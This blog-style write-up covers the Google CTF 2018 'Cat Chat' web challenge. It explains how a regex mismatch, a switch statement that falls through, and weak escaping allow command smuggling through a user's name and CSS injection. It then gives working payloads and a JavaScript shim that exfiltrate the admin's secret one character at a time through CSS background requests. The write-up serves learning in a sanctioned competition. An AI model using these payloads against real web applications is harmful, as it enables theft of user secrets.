Down to the Wire

Google CTF 2018: /bin/cat chat

Zachary Wade

Google CTF has come to a close, and with a very narrow victory on our part. As we decompress and mull over a set of excellent problems, we will post a few writeups of the ones we solved. Here is a writeup for the web problem “Cat Chat.”

Cataloguing the Challenge

Who doesn’t love chatting about dogs! Apparently, the folks at Google CTF. In fact, they dislike it so much that they made a chat application where you can talk about literally anything else. They called it Cat Chat and it has a bit more depth than we might think.

Our first introduction to the problem is pretty simple. We’re offered a full-window chat interface that introduces itself as Cat Chat. In addition, it lays out a few basic “rules” for using it. They are:

  • We can invite other members by sharing the URL
  • We cannot talk about dogs
  • We can change our name using the /name command
  • We can report others for talking about dogs

Finally, and most critically, the introduction also provides a link to the server code. This, plus the client’s catchat.js will give us all that we need to break free of this dog-lovers’ dystopia.

Categorisations

Before we start looking for bugs and exploits, let’s break down what both the server and the client do. At 77 lines, the client code is incredibly easy to read through. Essentially, it opens a long running Server-Side Events (SSE) connection and uses that to get information about the chat. When a message is sent, it gets pushed along the event pipe (unless the message is a report, in which case a captcha is first invoked). In addition, the pipe can spit out a number of events that update the client in different ways. These are:

  • undefined: Does nothing
  • error: Logs an error and complains in the chat
  • name: Informs the chat of another member’s name change
  • rename: Updates your name in the localStorage.
  • secret: Overwrites your current secert, then displays the new one hidden with CSS.
  • msg: Under normal circumstances, displays to the chat a message that has been received. However this will also autosend “Hi” when you first connect.
  • ban: The most amusing event. When a client sees ban it compares its name in localStorage against the name of the person who was banned. If they are the same, then it gives itself a “banned” cookie and disconnects from the chat.

In addition to the events, there is also a function called cleanupRoomFullOfBadPeople. This has no entrypoint, so it can reasonably be considered an admin-only function. Indeed, its primary purpose is to periodically check whether anyone has used the word “dog”, banning them if they have by fetching their username out of the post’s HTML. Like the rest of the client code, conveniently, it is nice and simple. Now let us look at the server.

Surprisingly enough, the server is not substantially more complicated than the client. A large amount of its code is dedicated to managing the multiple connections and setting up the various SSE pipes. Although we spent a while looking at these parts of the code, there was nothing very interesting about them so we will ignore them from now on. The interesting pieces are in the CSP — which gets set for every room — and the message processing logic.

The CSP is suitably locked down, with the following permissions

CSP content_copy
default-src 'self'
style-src   'unsafe-inline' 'self'
script-src  'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/
frame-src   'self' https://www.google.com/recaptcha/

Nothing exceptionally interesting, although the locked-down script-src, in combination with no ability to upload files, suggests that our eventual exploit will likely not be JS based. Furthermore, the freedom of unsafe-inline for style-src implies that we will be using some variant of CSS injection.

Looking now at the message handling logic, we see that it first checks that the request is originating from the correct site. Otherwise, it will return a CSRF error. Then, if no command is being executed, it will send a broadcast message from the user to all other members of the chat. Finally, if the message starts with a slash followed by text, then we case on the text. The cases we support are:

  • /name: In which case we send that person a rename response, and broadcast a name event to everyone else.
  • /ban: In which case we first check for an admin, and then send a ban event to all members of the chat.
  • /secret: In which case we set the user’s secret cookie and then send them a secret response.
  • /report: In which case we forward the information to a hidden admin.report command.

While each of these is interesting, nothing is obviously wrong with the server.

Catching Bugs

Now that we know approximately how the problem works, let’s make a few observations. First, the admin is just a normal user that happens to have a special cookie set. Secondly, we almost certainly need to find a way to leak the admin’s flag using CSS. Finally, we can probably ban the admin.

This last observation is not strictly relevant to the problem, but how could we resist the opportunity to ban them? Fortunately, it should be easy enough. Since all users see the /ban response, if we set our own name to admin they will ban us with themselves alongside. Let’s try!

So Close

Wait, what went wrong? Not only was the admin not banned, but neither were we! Well, remember how we described the ban check earlier? It looks at the html for the post and fetches the user’s name out of it. Then, it bans that user. Unfortunately, when two users have the same name all posts from either user are labeled as <shared_name> (you). Thus, when the admin went to ban me for talking about dogs, they instead tried to ban the user admin (you).

So now we’re stuck. Forget about the CTF, we have to ban the admin! It’s an affront to our very being that they remain unbannable. We should look more at the code.

Interestingly enough, when the server is parsing a command, it initially fetches the name of the command by using the regular expression /^\/[^ ]*/. This regex will match a slash followed by any number of characters that are not space. However, once it parses the command, it finds the argument for it by using a different regular expression (as in the case of ban): /\/ban (.+)/. This RegExp will only match a command followed by a non-zero number of characters, but it can be anywhere in the string.

This discrepancy is notable because the admin is banning us using the simple templated string: /ban ${name}. Since . does not match newlines, this means that if we start our name with a newline, we can embed another /ban command later in the expression. Our mean admin thought they could avoid us, but now we have a new trick. If we set our name to be "\n/ban admin", when they tries to ban us, they’ll ban themselves instead!

This is Getting Old

No! We thought we had them. What happened this time? It turns out that when the admin queries our username, they do so with the function element.innerText. Notice how our username rendered itself all on one line? This means that when the admin tries to get our name, the newline will be stripped and they will see our name as /ban admin. There is still hope, however. Since innerText returns the rendered form of the underlying HTML, perhaps if we can get the HTML to render the newline, then the ban will go through.

There may be multiple ways of going about this, but the first one that I can think of is to set the element to have the CSS property white-space: pre. Effectively, what this does is force the HTML to render all of the white space in the text. We can try this out locally and see that doing so indeed causes innerText to return our username with the newline included. Now all we need is a way to render arbitrary CSS on the admin’s page.

Looking at the client code again, we find that after a ban, the client renders that user’s name in red. It does so by making a CSS query using the attribute selector with our escaped name embedded

JavaScript content_copy
`<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`

Fortunately for us, that esc function is incredibly weak. The only characters it replaces are < > " and '. As it turns out, none of those are needed to write valid CSS!

Finally, we have a real path to victory. If we set our name to be \n]{}\n #conversation span:first-child { white-space: pre }\n/ban admin, then the first time we get “banned”, the admin will inject the following CSS into their active styles (reformatted):

content_copy
span[data-name^=
] { }

#conversation span:first-child {
    white-space: pre
}

/ban admin

Despite the terrible syntax errors, CSS is incredibly forgiving and will still render all relevant spans as pre (note that we could use a simpler selector here, but then the result would be impossible to read). Now, if we get “banned” again, the admin will ban our username with the newlines embedded and end up banning themselves instead. Let’s go get them!

MAXIMUM HYPE

Bask in that glorious ban! It feels so wonderful for the admin to finally get a taste of their own medicine. I hope you enjoyed this writeup, and I’d like to thank my team, my friends, and all of the…

Wait, what do you mean we still need to get the flag? Oh, huh. I suppose we do. Fortunately, our boondoggle has led us most of the way there.

Cater to the Masses

In order to get the flag, all we need to do is convince the admin to place their secret in the DOM, and then we can use our CSS injection to exfiltrate it.

Diving in, the first thing we need to do is get the admin to dump their secret onto the page. Realistically, a readthrough of the server code indicates that the only way to do this is to have them run the secret command. However, the only command we can force them to run is the /ban command. Fortunately for us, their server makes a classical blunder. Let’s look at the command logic:

JavaScript content_copy
switch (msg.match(/^\/[^ ]*/)[0]) {
  case '/name':
    if (!(arg = msg.match(/\/name (.+)/))) break;
    response = {type: 'rename', name: arg[1]};
    broadcast(room, {type: 'name', name: arg[1], old: name});
  case '/ban':
    if (!(arg = msg.match(/\/ban (.+)/))) break;
    if (!req.admin) break;
    broadcast(room, {type: 'ban', name: arg[1]});
  case '/secret':
    if (!(arg = msg.match(/\/secret (.+)/))) break;
    res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
    response = {type: 'secret'};
  case '/report':
    if (!(arg = msg.match(/\/report (.+)/))) break;
    var ip = req.headers['x-forwarded-for'];
    ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
    response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`);
}

Look at that! They use a switch statement with no breaks after the cases. This means, that we can use the same technique from the previous exercise to have them ban someone and then fall through and call /secret.

While we can be reasonably assured that this works, we’re left with an issue. As soon as we call secret, we overwrite their flag cookie with one of our control. This seems problematic at first, but a quick glance at the Set-Cookie grammar of RFC6265 reminds us that cookies can be defined for arbitrary domains. Thus, we can set our flag cookie to be bogus; Domain=google.com and so we won’t overwrite the admin’s cookie. Instead, they will put their original cookie in the dom.

Finally, all that we need to do is exfiltrate it. There was something odd in the server code that I neglected to mention earlier, namely that the endpoint used for sending messages is method agnostic. You can POST to it, or GET it, or maybe even DELETE it. Regardless, the ability to send messages via a GET request gives us everything else that we need.

For those not versed in classic CSS exfil, the traditional technique is to use a background image url that only triggers on certain queries. By checking whether the query landed, we can get a single bit of data from the target. Exempla gratia, we can embed the following CSS query into our payload to know whether the admin’s flag has an 'A' in it.

CSS content_copy
[data-secret*=A] { 
    background: url(https://cat-chat.web.ctfcompetition.com/room/<OUR_UID>/send?name=exfil&msg=A) 
}

This uses the attribute selector in CSS to test whether the current page has any element whose attribute data-secret contains an A. If it does, it makes a request that will print the message A from the user exfil.

To test our whole exploit thus far, we can check to see if the admin’s flag contains the letter C. Since we expect it to start with CTF{ }, this should succeed. In order for this to work, we will set our name to

content_copy
 fake_banned_user
/secret hi_google; Domain=google.com
end_injection_tag] { }
[data-secret*=C] {
    background: url(https://cat-chat.web.ctfcompetition.com/room/fb587ec9-6bff-4c4a-913b-852cfdb8effb/send?name=exfil&msg=C)
}
[begin_injection_tag

Trying this out, we get

A whole lotta flag

Just as we expected, we get 'C' back from our exfiltrator.

Catastrophe

Now that we have a proof of concept working, this is the part where I would show you my exploit script for you to look at and admire. Unfortunately, I cannot as I don’t have one. Instead what I have is a short name generator that we used while doing all of the exfiltration by hand.

There are a number of reasons why we ended up doing this, but the biggest one is that since we can’t embed quotes into our CSS, we are severely limited by the characters we can use. Furthermore, even if it matched multiple rules, you may only have a single background image and so it would only exfiltrate one character per attempt. As such, our approach was to write a small shim that we could update as we went and then leak one character at a time going either forward or back from what we had. This was further complicated by the fact that we were not able to use { and we could not start any of our guesses with numerals. As such, this took about 15 queries before we were able to piece together the whole flag.

For reference, here is the shim

JavaScript content_copy
prefix   = "L0LC47S_43V3"
suffix   = ""
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
strings  = ""
strings  += alphabet + numerals

chrs = (strings)
    .split("")
    .map((letter) => 
        ` [data-secret*=${prefix}${letter}${suffix}]{ background: url(https://cat-chat.web.ctfcompetition.com/room/fb587ec9-6bff-4c4a-913b-852cfdb8effb/send?name=exfil&msg=${prefix}${letter}${suffix}) } `).join("\n")

localStorage.name = ` fake_banned_user
/secret hi_google; Domain=google.com
end_injection_tag] { }
${chrs}
[begin_injection_tag`

Trying it out on the final letter of the flag, we can see how it works:

Finally

Finally, we have our flag and no longer have to listen to the admin’s hateful messages. Now go forth and always remember our good dog when you pwn.